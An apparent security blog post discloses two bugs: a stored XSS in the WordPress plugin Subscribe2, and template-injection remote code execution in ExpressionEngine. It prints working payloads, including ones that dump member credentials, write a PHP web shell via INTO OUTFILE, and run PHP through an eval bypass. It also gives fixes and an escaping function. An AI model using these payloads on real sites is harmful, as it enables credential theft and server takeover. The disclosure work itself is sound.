Mostly code, sometimes beer

…and some netsec too

Stored XSS Vulnerability in the WordPress Plugin Subscribe2

The Subscribe2 plugin’s shortcode signup form stores the user’s IP address in a hidden form field:

Lines 117 and 119 of class-s2-frontend.php

$this->form = ..."><input type=\"hidden\" name=\"ip\" value=\"" . $_SERVER['REMOTE_ADDR'] . "\" />"...

When the form is submitted the hidden IP input is stored in the wp_subscribe2.ip column when the user first subscribes (only the first time, when they are confirmed the IP column is replaced with value of $_SERVER['REMOTE_ADDR']). The IP is then output onto the page of the subscriber list in the WordPress admin panel unescaped in the title attribute of the abbr tag:

Line 41 of class-s2-list-table.php

return sprintf('<span style="color:#FF0000"><abbr title="' . $mysubscribe2->signup_ip($item['email']) . '">%1$s</abbr></span>', $item['email']);

An attacker can replace the value of the hidden ‘ip’ input with something like this:

"><script src=></script>

The payload needs to fit within the 64 character limit on the wp_subscribe2.ip column with the database, and is run through addslashes, but the external script will load and run.

Usually XSS attacks are low to moderate severity since they are usually used as more ‘targeted’ attacks (you need to actually get an admin to click a link, etc), but this is passive and fairly easy to automate. An attacker can simply scrape WordPress sites looking for the form and submit the XSS payload, which will run the next time an admin looks at the subscriber logs. The subscriber list is also sorted alphabetically so the attacker can use (or something like that) and have their email address appear first in the list.

Subscribe2’s developers were quick to respond and pushed out an update 5 days from the initial discovery. Subscribe2 stands at 1.4 million downloads at the time of writing.

Remote Code Execution in ExpressionEngine

Like many others before me, I had found ExpressionEngine’s templating engine to have a bit of learning curve when it came down it’s internals, and really only after I had read Lodewijk Schutte’s overview of ExpressionEngine’s parse order did it click with me, and debugging problems became a little easier. ExpressionEngine’s templating engine parses each template in stages, with each stage applying transformations to the document.

The 9 stages of ExpressionEngine’s templating engine:

  1. Parse snippets / global variables, segment variables and embed variables
  2. Parse PHP on Input
  3. Parse simple conditionals: segment, embed, global variables
  4. Assign and parse preload_replace variables
  5. Parse module and plugin tags
  6. Parse PHP on Output
  7. Parse advanced conditionals
  8. Process embedded templates
  9. Parse User Defined global variables and others.

An unfortunate side effect of this is that the result of some transformations applied in earlier stages can produce template tags to be parsed in later stages. In particular unfiltered user input that is output onto the page could actually produce template tags which would allow you to do some nasty stuff if the query module was enabled. If the developer has setup a form that processes user input in the PHP input stage, you can craft the input to make calls to the query module:

# Our template at site/index.html
<form action="{path=site/index}" method="post" accept-charset="utf-8">
    <label for="name">Name</label>
    <input type="text" name="name" value="<?php echo $_POST['name'] ?>">
    <p><input type="submit" value="Continue &rarr;"></p>

Sending this in the content of the name parameter would dump the exp_members table.

{exp:query sql="SELECT * FROM exp_members"}

Or we could drop in a shell if the images/avatars directory is world writable.

{exp:query sql="SELECT '<?php passthru($_REQUEST[\'code\']) ?>' INTO OUTFILE '/{replace with document root}/images/avatars/shell.php' "}{/exp:query}

If the developer processes the PHP on output or from a module, it’s still possible to write out embed tags with our payload:

    title='{exp:query sql="SELECT * FROM exp_members"}{username}|{password}|{salt}@{/exp:query}'

This would work if the {embed:title} tag is output onto the page. For example:

# Our template at partials/.head.html

Embedding a template starts the parse order over (it’s done for each template), so this works.

Looking at the parse order you would think that output from modules could write PHP code, but <?php ?> tags are escaped. In general, it’s recommended to not allow PHP code to run from templates, and to create modules in order to handle logic the templating engine can’t handle, but it’s up to the developer.

I had first stumbled on a PHP syntax error in one of my templates that did not have PHP enabled. After a bit of debugging, I noticed the Advanced Conditionals template tags are translated into PHP and run through eval. At this point, I was curious what escaping was done to prevent any PHP code contained in the conditional from being executed, and there was some pretty aggressive filtering put in place to only allow EE’s variables to be evaluated. After testing further I was able to find a bug that allowed PHP code to slip through untouched in a particularly dangerous way.

In the previous examples, the form has no protection against XSS, and using <?php echo htmlentities($_POST['name'], ENT_QUOTES, 'utf-8') ?> is enough to prevent the query and embed tags from working as intended and stopping the attack. Not only that, but using htmlentities or htmlspecialchars is pretty standard for filtering user input, and most security conscious developers will use them. So let’s say the template is setup in a more security conscious way to prevent this:

# Our template at site/index.html
<form action="{path=site/index}" method="post" accept-charset="utf-8">
    <label for="name">Name</label>
    <input type="text" name="name" value="<?php echo htmlentities($_POST['name'], ENT_QUOTES, 'utf-8') ?>">
    <p><input type="submit" value="Continue &rarr;"></p>

Sending this in the content of the name parameter will evaluate the contents of our crafted y parameter.

name: {if location || null.location.eval($_POST[y].location)}{/if}
y: phpinfo();

This will pass through htmlentities, htmlspecialchars and CodeIgniter’s xss_clean untouched, unfortunately. More so, the attack does not depend on PHP being enabled, the form’s output could be handled from a module/plugin. It only depends on user input being output somewhere into the template parse order before stage 7 (parsing advanced conditionals), and ExpressionEngine tags not being filtered out. This attack is somewhat hard to trace as well, the URL containing the form will show POST requests made to it in Apache logs, so an attacker’s payload will blend in with natural traffic.

ExpressionEngine does provide a method for escaping templating tags via encode_ee_tags in Functions.php. I have written my own escape function and I would HIGHLY recommend using it to filter any user input that will be sent to the templating engine.

function ee_escape($input, $flags = ENT_QUOTES, $encoding = 'UTF-8', $double_encode = true) {
    return get_instance()->functions->encode_ee_tags(htmlentities($input, $flags, $encoding, $double_encode), true);

As of ExpressionEngine 2.9.0, EllisLab has updated their templating engine and built their own advanced conditional parser and no longer use eval to process advanced conditionals. 2.9.0 includes a few other security fixes, so you should upgrade if you haven’t already.